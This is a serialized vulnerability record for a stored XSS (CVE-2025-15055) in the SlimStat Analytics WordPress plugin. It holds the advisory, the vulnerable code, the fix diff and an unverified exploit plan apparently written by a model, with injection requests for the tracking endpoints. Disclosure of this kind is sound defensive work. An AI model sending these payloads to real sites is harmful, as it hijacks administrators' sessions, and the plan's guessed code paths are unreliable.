[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fR-f0CEcQ1pSmyq8U1K1oppk-AgYgixqM_TVVtoofPVA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2025-15055","slimstat-analytics-unauthenticated-stored-cross-site-scripting-via-notesresource-parameters","SlimStat Analytics \u003C= 5.3.4 - Unauthenticated Stored Cross-Site Scripting via 'notes\u002Fresource' Parameters","The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'notes' and 'resource' parameters in all versions up to, and including, 5.3.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the Recent Custom Events report.","wp-slimstat",null,"\u003C=5.3.4","5.3.5","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-01-08 17:59:23","2026-01-09 06:34:57",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fafbfabfc-b923-4fe9-9e8f-0cf159f488db?source=api-prod",1,[22,23,24,25,26],"CHANGELOG.md","admin\u002Fview\u002Fwp-slimstat-reports.php","languages\u002Fwp-slimstat.pot","readme.txt","wp-slimstat.php","researched",false,3,"This research plan outlines the steps for demonstrating the unauthenticated stored cross-site scripting (XSS) vulnerability in SlimStat Analytics (CVE-2025-15055).\n\n## 1. Vulnerability Summary\nSlimStat Analytics (versions \u003C= 5.3.4) fails to sufficiently sanitize and escape the `notes` and `resource` parameters when processing tracking requests. These parameters are stored in the database (typically in the `wp_slim_events` table) and later rendered without proper output neutralization in the **Recent Custom Events** report within the WordPress admin dashboard. This allows an unauthenticated attacker to inject malicious JavaScript that executes when an administrator views the report.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php` (for AJAX-based tracking) or `wp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack` (for REST-based tracking).\n*   **Action:** `slimstat_tracking` (the primary tracking action).\n*   **Vulnerable Parameters:** `notes` and `resource`.\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** The plugin must be active and tracking must be enabled (default behavior).\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated visitor (or bot) sends a request to `admin-ajax.php?action=slimstat_tracking`.\n2.  **Processing:** In `wp-slimstat.php`, `slimtrack_ajax()` is called. It retrieves data from `self::$raw_post_array`. \n3.  **Storage:** The tracking logic (likely within `src\u002Fwp-slimstat-db.php` or a similar provider) processes the parameters. If `notes` or `resource` (often mapped to `no` and `re` in the payload) are present, they are stored in the events table.\n4.  **Retrieval:** An administrator navigates to the **Recent Custom Events** report (`wp-admin\u002Fadmin.php?page=slimview1` or similar).\n5.  **Sink:** The report logic in `admin\u002Fview\u002Fwp-slimstat-reports.php` (potentially using a callback like `show_recent_events`) fetches the data from the database and echoes the `notes` and `resource` values directly into the HTML table without applying `esc_html()` or `wp_kses()`.\n\n## 4. Nonce Acquisition Strategy\nSlimStat Analytics generally allows unauthenticated tracking without a strict nonce to ensure compatibility with caching plugins and various tracking environments. However, if a nonce is required by the specific version\u002Fconfiguration, it is localized in the front-end.\n\n**Strategy:**\n1.  Navigate to the homepage.\n2.  Search for the JavaScript variable `SlimStatParams`.\n3.  Extract the nonce if it exists.\n\n**Browser Eval Command:**\n```javascript\n\u002F\u002F Check for standard localization variable\nwindow.SlimStatParams?.nonce || window.SlimStatParams?.extensions?.nonce || \"\";\n```\n\n## 5. Exploitation Strategy\nThe goal is to send a \"Custom Event\" tracking request containing the XSS payload. SlimStat usually expects events to have at least a category and an action.\n\n**HTTP Request (AJAX Method):**\n*   **URL:** `{{BASE_URL}}\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```text\n    action=slimstat_tracking\n    &ca=TestCategory\n    &ac=TestAction\n    &notes=\u003Cscript>alert('XSS_NOTES')\u003C\u002Fscript>\n    &resource=\u003Cimg src=x onerror=alert('XSS_RESOURCE')>\n    ```\n\n**Alternative (REST API Method):**\n*   **URL:** `{{BASE_URL}}\u002Fwp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fjson`\n*   **Body:**\n    ```json\n    {\n      \"category\": \"TestCategory\",\n      \"action\": \"TestAction\",\n      \"notes\": \"\u003Cscript>alert('XSS_NOTES')\u003C\u002Fscript>\",\n      \"resource\": \"\u003Cimg src=x onerror=alert('XSS_RESOURCE')>\"\n    }\n    ```\n\n## 6. Test Data Setup\n1.  **Plugin Installation:** Ensure `wp-slimstat` version 5.3.4 is installed and activated.\n2.  **Configuration:** Verify \"Enable Tracking\" is 'on' in **SlimStat > Settings > Tracker**.\n3.  **Report Access:** Note that the \"Recent Custom Events\" report may need to be added to the dashboard view if not present by default. It is usually found under **SlimStat > Reports**.\n\n## 7. Expected Results\n1.  The tracking request should return a `200 OK` or `204 No Content` response.\n2.  The database table (likely `wp_slim_events`) should contain a new row with the `notes` and `resource` payloads.\n3.  When an administrator visits the SlimStat reports page, an alert box with `XSS_NOTES` or `XSS_RESOURCE` should appear.\n\n## 8. Verification Steps\nAfter sending the exploit request, verify the storage via WP-CLI:\n\n```bash\n# Check if the event was recorded in the events table\nwp db query \"SELECT notes, resource FROM $(wp db prefix)slim_events WHERE notes LIKE '%XSS%';\"\n\n# Check if the event was recorded in the main stats table (if events are stored there in some versions)\nwp db query \"SELECT * FROM $(wp db prefix)slim_stats WHERE notes LIKE '%XSS%';\"\n```\n\nTo verify execution, use the `browser_navigate` tool to go to the SlimStat Reports page and check for the presence of the script:\n```bash\n# Navigate to the reports page\n# Then search for the payload in the DOM\nbrowser_eval \"document.body.innerHTML.includes('XSS_NOTES')\"\n```\n\n## 9. Alternative Approaches\nIf the top-level parameters `notes` and `resource` fail, try the abbreviated keys often used by the tracker script:\n*   `no` = notes\n*   `re` = resource\n*   `ca` = category\n*   `ac` = action\n\nAdditionally, some versions of SlimStat expect the payload to be a base64-encoded JSON string in a `data` parameter:\n```text\naction=slimstat_tracking&data=eyJyZXNvdXJjZSI6ICI8c2NyaXB0PmFsZXJ0KCdYU1NfUkVTT1VSQ0UnKTwvc2NyaXB0PiIsICJub3RlcyI6ICI8c2NyaXB0PmFsZXJ0KCdYU1NfTk9URVMnKTwvc2NyaXB0In0=\n```","The SlimStat Analytics plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via the 'notes' and 'resource' parameters. This occurs because tracking requests containing malicious scripts are stored in the database without sufficient sanitization and later rendered in administrative reports without proper output escaping.","\u002F\u002F admin\u002Fview\u002Fwp-slimstat-reports.php line 1455\nforeach ($results as $a_result) {\n    echo \"\u003Cp class='slimstat-tooltip-trigger'>\" . $a_result[ 'notes' ];\n\n    if (!empty($a_result['counthits'])) {\n        echo sprintf('\u003Cspan>%s\u003C\u002Fspan>', $a_result[ 'counthits' ]);\n    }\n\n    if (!empty($a_result['dt'])) {\n        $date_time = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $a_result['dt'], true);\n        echo '\u003Cb class=\"slimstat-tooltip-content\">' . __('IP', 'wp-slimstat') . ': ' . $a_result['ip'] . '\u003Cbr\u002F>' . __('Page', 'wp-slimstat') . sprintf(\": \u003Ca href='%s%s'>%s%s\u003C\u002Fa>\u003Cbr>\", $blog_url, $a_result[ 'resource' ], $blog_url, $a_result[ 'resource' ]) . __('Coordinates', 'wp-slimstat') . sprintf(': %s\u003Cbr>', $a_result[ 'position' ]) . __('Date', 'wp-slimstat') . (': ' . $date_time);\n    }\n\n---\n\n\u002F\u002F wp-slimstat.php line 1002\ncase 'post_link_no_qs':\n    $post_id = url_to_postid($a_result['resource']);\n    if ($post_id > 0) {\n        $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>\", $a_result[ 'resource' ]) . get_the_title($post_id) . '\u003C\u002Fa>';\n    } else {\n        $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>%s\u003C\u002Fa>\", $a_result[ 'resource' ], $a_result[ 'resource' ]);\n    }\n    break;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\t2025-12-17 11:24:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\t2025-12-31 08:45:54.000000000 +0000\n@@ -1455,15 +1455,15 @@\n         }\n \n         foreach ($results as $a_result) {\n-            echo \"\u003Cp class='slimstat-tooltip-trigger'>\" . $a_result[ 'notes' ];\n+            echo \"\u003Cp class='slimstat-tooltip-trigger'>\" . esc_html( $a_result[ 'notes' ] );\n \n             if (!empty($a_result['counthits'])) {\n-                echo sprintf('\u003Cspan>%s\u003C\u002Fspan>', $a_result[ 'counthits' ]);\n+                echo sprintf('\u003Cspan>%s\u003C\u002Fspan>', esc_html( $a_result[ 'counthits' ] ));\n             }\n \n             if (!empty($a_result['dt'])) {\n                 $date_time = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $a_result['dt'], true);\n-                echo '\u003Cb class=\"slimstat-tooltip-content\">' . __('IP', 'wp-slimstat') . ': ' . $a_result['ip'] . '\u003Cbr\u002F>' . __('Page', 'wp-slimstat') . sprintf(\": \u003Ca href='%s%s'>%s%s\u003C\u002Fa>\u003Cbr>\", $blog_url, $a_result[ 'resource' ], $blog_url, $a_result[ 'resource' ]) . __('Coordinates', 'wp-slimstat') . sprintf(': %s\u003Cbr>', $a_result[ 'position' ]) . __('Date', 'wp-slimstat') . (': ' . $date_time);\n+                echo '\u003Cb class=\"slimstat-tooltip-content\">' . __('IP', 'wp-slimstat') . ': ' . esc_html( $a_result['ip'] ) . '\u003Cbr\u002F>' . __('Page', 'wp-slimstat') . sprintf(\": \u003Ca href='%s'>%s\u003C\u002Fa>\u003Cbr>\", esc_url( $blog_url . $a_result[ 'resource' ] ), esc_html( $blog_url . $a_result[ 'resource' ] )) . __('Coordinates', 'wp-slimstat') . sprintf(': %s\u003Cbr>', esc_html( $a_result[ 'position' ] )) . __('Date', 'wp-slimstat') . (': ' . $date_time);\n             }\n \n             echo '\u003C\u002Fb>\u003C\u002Fp>';\n@@ -1514,7 +1514,7 @@\n                 $a_result['counthits'] = 0;\n             }\n \n-            $a_result['resource'] = \"\u003Ca class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='\" . htmlentities(__('Open this URL in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . \"' href='\" . htmlentities($a_result['resource'], ENT_QUOTES, 'UTF-8') . \"'>\u003C\u002Fa> \u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('resource equals ' . htmlentities($a_result['resource'], ENT_QUOTES, 'UTF-8')) . \"'>\" . self::get_resource_title($a_result['resource']) . '\u003C\u002Fa>';\n+            $a_result['resource'] = \"\u003Ca class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='\" . esc_attr(__('Open this URL in a new window', 'wp-slimstat')) . \"' href='\" . esc_url($a_result['resource']) . \"'>\u003C\u002Fa> \u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('resource equals ' . $a_result['resource']) . \"'>\" . self::get_resource_title($a_result['resource']) . '\u003C\u002Fa>';\n \n             $group_markup = [];\n             if (!empty($a_result['column_group'])) {\n@@ -1523,14 +1523,14 @@\n                 foreach ($exploded_group as $a_item) {\n                     $user = get_user_by('login', $a_item);\n                     if ($user) {\n-                        $group_markup[] = '\u003Ca class=\"slimstat-filter-link\" title=\"' . __('Filter by element in a group', 'wp-slimstat') . '\" href=\"' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '\">' . get_avatar($user->ID, 16) . $user->display_name . '\u003C\u002Fa>';\n+                        $group_markup[] = '\u003Ca class=\"slimstat-filter-link\" title=\"' . esc_attr(__('Filter by element in a group', 'wp-slimstat')) . '\" href=\"' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '\">' . get_avatar($user->ID, 16) . esc_html( $user->display_name ) . '\u003C\u002Fa>';\n                     } else {\n-                        $group_markup[] = '\u003Ca class=\"slimstat-filter-link\" title=\"' . __('Filter by element in a group', 'wp-slimstat') . '\" href=\"' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '\">' . $a_item . '\u003C\u002Fa>';\n+                        $group_markup[] = '\u003Ca class=\"slimstat-filter-link\" title=\"' . esc_attr(__('Filter by element in a group', 'wp-slimstat')) . '\" href=\"' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '\">' . esc_html( $a_item ) . '\u003C\u002Fa>';\n                     }\n                 }\n             }\n \n-            echo sprintf('\u003Cp>%s \u003Cspan>%s\u003C\u002Fspan>\u003Cbr\u002F>', $a_result[ 'resource' ], $a_result[ 'counthits' ]) . implode(', ', $group_markup) . '\u003C\u002Fp>';\n+            echo sprintf('\u003Cp>%s \u003Cspan>%s\u003C\u002Fspan>\u003Cbr\u002F>', $a_result[ 'resource' ], esc_html( $a_result[ 'counthits' ] )) . implode(', ', $group_markup) . '\u003C\u002Fp>';\n         }\n \n         if (! defined('DOING_AJAX') || ! DOING_AJAX) {\n@@ -1944,7 +1944,7 @@\n             }\n \n             if ([] !== $term_names) {\n-                self::$resource_titles[$cache_index] = implode(',', $term_names);\n+                self::$resource_titles[$cache_index] = esc_html( implode(',', $term_names) );\n             } else {\n                 self::$resource_titles[$cache_index] = htmlspecialchars(self::$resource_titles[$cache_index], ENT_QUOTES, 'UTF-8');\n             }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fwp-slimstat.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.4\u002Fwp-slimstat.php\t2025-12-28 06:28:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.php\t2025-12-31 08:45:54.000000000 +0000\n@@ -999,9 +999,9 @@\n                             case 'post_link_no_qs':\n                                 $post_id = url_to_postid($a_result['resource']);\n                                 if ($post_id > 0) {\n-                                    $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>\", $a_result[ 'resource' ]) . get_the_title($post_id) . '\u003C\u002Fa>';\n+                                    $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>\", esc_url( $a_result[ 'resource' ] )) . esc_html( get_the_title($post_id) ) . '\u003C\u002Fa>';\n                                 } else {\n-                                    $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>%s\u003C\u002Fa>\", $a_result[ 'resource' ], $a_result[ 'resource' ]);\n+                                    $output[$result_idx][$a_column] .= sprintf(\"\u003Ca href='%s'>%s\u003C\u002Fa>\", esc_url( $a_result[ 'resource' ] ), esc_html( $a_result[ 'resource' ] ));\n                                 }\n                                 break;","An unauthenticated attacker can exploit this vulnerability by sending a tracking request (via Admin-AJAX or the REST API) that includes a malicious XSS payload in the 'notes' or 'resource' parameters. The payload is typically supplied using the action 'slimstat_tracking' with parameters like 'notes' (or 'no') and 'resource' (or 're'). Because the plugin stores these values raw in the database, the payload will execute as arbitrary JavaScript in the context of an administrator's browser when they subsequently view the 'Recent Custom Events' or 'Access Log' reports in the WordPress admin dashboard.","gemini-3-flash-preview","2026-05-05 13:42:09","2026-05-05 13:42:53",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","5.3.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-slimstat\u002Ftags\u002F5.3.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-slimstat\u002Ftags\u002F5.3.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-slimstat\u002Ftags"]